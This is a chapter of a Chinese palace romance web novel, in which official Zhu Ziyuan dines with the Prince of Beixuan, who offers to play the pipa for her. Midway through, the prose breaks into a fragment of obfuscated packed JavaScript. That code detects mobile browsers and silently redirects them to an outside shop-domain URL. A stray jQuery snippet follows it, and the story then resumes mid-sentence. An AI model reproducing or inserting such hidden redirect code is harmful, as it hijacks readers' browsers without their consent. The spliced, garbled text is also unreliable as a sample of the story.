市坊一事暂且止了纷辩,午后又处理些修缮事务,祝子鸢离开工正所。
工正所虽小,但大小杂务审理起来也十分不易,这对于原本只需受戒持斋,清心寡欲的祝子鸢来说,实在是让她心力交瘁。
祝子鸢立于拱形月桥之上抻肩扭颈,拉伸了会发酸的腰颈,总觉得今日身子尤其酸痛发沉。
百无聊赖地撑着下颌,祝子鸢盯着浮出池面的一大群肥硕锦鲤。
看来王府伙食不错,这些鲤鱼被喂得身宽体胖的,都快成精了。
一只胖鲤忽地扬尾一拍,水花四溅,祝子鸢看着水面晃动的糜软鱼食,猛然才想起昨日她应下之事。
北轩王散漫的话音在她耳边回绕响起:子鸢即是喜欢,那便每日都来同本王一同用晚膳吧。
祝子鸢倏然立身,满廊点起的锦灯早已如星坠落,绽放华光。
她肢体一颤,也不回幽竹居了,急急忙忙往正殿疾步而去。
她怎么把这茬给忘记了,让北轩王先行等侯,可是大大不敬。
祝子鸢低头步伐匆匆,眼前晃过一缕紫纱衣尾,祝子鸢连忙刹住脚步。
身子一仰,祝子鸢抬起下颌,与她差点一同撞上的是姜青黎。
姜青黎显然也是惊着了,酥手撑住红木杆子,稳住手中挑着的花灯。
秀巧挑灯左右摇晃,好会才稳稳垂正,祝子鸢连声致歉道:“是我唐突了,差点撞着了青黎掌事。”
意外小惊并未让姜青黎花颜失色,她依旧温婉端庄,柔声笑语道:“不碍事,我正好也要寻祝工正,没想到恰巧一下就碰见了。”
“青黎掌事寻我何事呢?”祝子鸢怕去迟了,直接问道。
“王爷他,”姜青黎顿了顿,细眉微不可见地蹙了下,接着道:“请祝大人您再去长春殿同用晚膳。”
为何王爷又破例传唤祝大人前去长春殿,姜青黎正是带着这个疑团来寻祝子鸢。
“原是此事啊,我知道了。”祝子鸢回道,只是她没想到今日是姜青黎亲自前来传唤她。
见祝子鸢对传膳一事并不觉得惊讶,就像是早就知道了一样,姜青黎怔然片刻。
鹅黄暖光映照在祝子鸢那张清隽玉净的容颜上,显得她更加神清骨秀,姜青黎心下不禁有些复杂。
疑云满腹,姜青黎髻上繁复沉稳的钗珠微微错乱碰撞,发出珠玉脆响。
“也不知昨日祝大人与王爷谈了什么趣事,能让王爷今日又邀约您,想必祝大人与王爷定是相谈甚欢,真让人啧啧称羡。”姜青黎道。
祝子鸢面上一尬,心道不止今日呢,往后还有明日、后日……以及无穷个日日。
至于相谈甚欢,她一点都不觉得,每回对上北轩王只觉得如临深渊,一言难尽!
“并未谈什么,王府膳食十分可口。”祝子鸢浅笑,梨涡轻绽,并未回复多余的话。
就算昨日与北轩王说的只是闲话,她也不能随意道出。
“是我多问了,长春殿已经备好膳食了。”姜青黎温柔笑道。
她本想尝试着从这位祝大人嘴里问点王爷偏好,但这位祝工正冰雪聪明,似乎难以套话。
知问不出什么,姜青黎深深瞥了一眼那她半步都踏不进的贝阙珠宫,身子一低,盈盈欠身行礼后便离去了。
长春殿仅有几十步之遥,祝子鸢进入拱门,仰头望着坐落在夜幕之下的长春殿。
散水螭首高高悬于四顶,张牙舞爪。
许是夜风带冷,祝子鸢打了个哆嗦。
一回生二回熟,祝子鸢放轻脚步踏入大殿,熟络地走向外间转角雕漆木桌处。
刚过屏风,铮然一声,祝子鸢被这声琵琶脆响激得心弦一抖,止住脚步。
一道视线轻飘飘地落在她身上,却如有千斤压顶,压得祝子鸢大气都不敢出。
果不其然,她还是姗姗来迟了,北轩王早已坐于暖榻。
他仍是一袭红衣,颜色绮艳却又与之极其相称,犹如撩人心弦的罂粟花,炽烈张扬,令人挪不开眼。
只是美艳的东西,往往都带着剧毒,可以夺人命。
萧无衍左手旋着琴轴,慢调琴丝道:“我以为子鸢把答应本王的事,都忘得一干二净了。”
“不敢忘!下官怎敢忘了王爷邀约,只是……”
祝子鸢面上堆砌假笑,恭恭敬敬地立于帷帐旁。
“只是什么?”
“只是……”
只是她真的忘记了。
祝子鸢总觉得今日脑子沉闷得很,灌了铅似地卡节,思索半天,支吾不出半个理由。
见平日巧捷万端的祝子鸢竟是呆呆杵着,忐忑外露,萧无衍收回了视线。
“只是工正所事务繁忙?”
他半垂着眸,目光落于榻上一株被剪切插瓶的绿竹道。
随后冷白如霜的食指覆于琴弦之上,轻轻勾动了下,琵琶发出一声铮玉清响,圆润饱满。
萧无衍台阶都给她铺好了,祝子鸢能不有不用的理由么,立马就势下坡道。
“是,今日所里要处理的杂事多了些,所以来晚了。”
“让你费心劳力了。”
萧无衍调好弦放下琵琶,祝子鸢仍是一动不动地站着。
见祝子鸢望地出神,萧无衍道:“子鸢以后来了直接入座便是,不用等本王开口,本王向来不在乎这些虚礼。”
祝子鸢也不敢全然没了礼节,躬身道:“王爷宽厚仁善。”
说完壮着胆子,择了与萧无衍对着的远座,先行入了座。
离远些总归是好一点,祝子鸢心想。
然而祝子鸢一落座,萧无衍就起了身。
他漫不经心地徐步走到了祝子鸢身侧,扬起红摆,十分自然地就着邻座坐了下去。
绸丝柔软,顺着刻花的梨花椅腿轻然垂落,与祝子鸢的官袍堆叠交缠在一块,红蓝两色,并不突兀。
鼻尖皆是他身上散出的月麟香,宛如梨花绽香,淡淡幽幽。
怪好闻的。
若不是身旁的人是北轩王,祝子鸢都想凑近吸上几口了。
祝子鸢悄悄斜睇了身旁之人一眼,北轩王坐下去也比她高出半个头,今日簪了柄白玉龙头簪子,更添得几分清贵,少了些许压摄。
他好似并未发觉祝子鸢的视线,只是挽袖提著,闲雅进膳,几可入画。
今日他没有亲自夹菜,祝子鸢反倒无比安心。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624282|141978||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>他吃什么,怎么吃,她就依样跟着挟,照着吃,避免陷入上次那般尬境。
“想不到子鸢的喜好与本王全然一致,甚巧。”萧无衍停下玉著,侧首扫了眼祝子鸢。
祝子鸢筷尖正要往方才萧无衍夹过的玉盘落下,一听着这话,筷子愣是生生拐了个方向,挟起了旁侧高脚碟中的桂花米糕。
咽了咽口水,祝子鸢道:“人的喜好怎会全然相同呢,这不比起这七巧酥酪我更喜欢滋味平淡的米糕。”
说罢,祝子鸢一口将米糕塞进嘴里,囫囵吞下。
萧无衍眼尾一挑,轻笑一声,也夹起一块桂花糕:“子鸢多年习道,口味清淡,如此看来,今日膳食似乎都不大合子鸢喜好,也难怪子鸢吃得倒没昨日多了,是我失了待客之道,本王可得想办法弥补一二。”
“王爷盛情,子鸢应感恩戴德才对,怎敢有半点不喜!这些我都爱吃。”
祝子鸢通身一个激灵,强打起精神,尽管今日胃口不佳,还是连塞了好几个酥酪。
“子鸢可爱听曲?”萧无衍停筷起身道。
质感丝滑的衣袍顺着他的颀身垂下,无半点折痕。
嘴里塞得满满当当的祝子鸢杏眼微眨,也不知为何北轩王突然这么问。
祝子鸢一口吞咽而下道:“自是爱听的,只是我与师父师兄皆不通曲艺,又鲜少下山,已经很久未曾听曲了。昨日王爷雅兴弹曲,倒让子鸢有幸听了一回。”
昨日琵琶曲不绝如缕余音绕梁,让人如临曲中之境,饶是不通音律的祝子鸢都觉得意犹未尽。
只能说北轩王的曲艺已经到了出神入化的境界,动人心弦。
萧无衍回榻端坐,信手提起琵琶,将琵琶斜抱在怀中。
侧首拨弄了几下琴弦,萧无衍抬头看着皎月道:“今夜月色甚好,我为子鸢弹首曲子如何。”
“王爷身份尊贵,怎能纡尊降贵为我弹奏琵琶。”祝子鸢忙不迭放下手中玉筷,连忙起身道。
她祝子鸢怎敢让北轩王在下首为她弹曲,而她端坐在上桌呢!
萧无衍指腹摩挲着琴弦,不以为意道:“若真要论起尊卑,这弹琵琶在天阙国本身就不是件被人尊崇的雅事,不是么?又何来纡尊降贵一说?子鸢放心听就是了。”
天阙国内,琵琶确实被视为吟风弄月的不入流技艺,因为只有勾栏瓦舍的琴师才会弹奏琵琶表演献艺,且皆为女子琴师演奏。
当然除了瓦舍琴师,还有一种人也会弹奏琵琶,那就是来自北疆和西域的异族。祝子鸢忽想起北轩王生母正是北疆之人,他体内流着北疆异族的血。
但寒北鞑靼与天阙国势如水火,出于避嫌,北轩王理该不沾琵琶,可北轩王不仅学了,还曲艺精通。
可见北轩王目空一切,根本不怕落人口舌。
弹奏琵琶一事反而个中复杂了起来……若她再推却,便会让人觉得她在避讳萧无衍血脉一事。
祝子鸢未再妄加多言,乖乖坐回了椅上。
萧无衍似乎知道祝子鸢在想什么,左手抬高落于琵琶上弦,袍袖滑落至肘,露出了青络喷薄欲出的劲瘦手臂。
他只是淡然道:“月夜清风,良宵雅兴,那便弹首塞上明月吧。”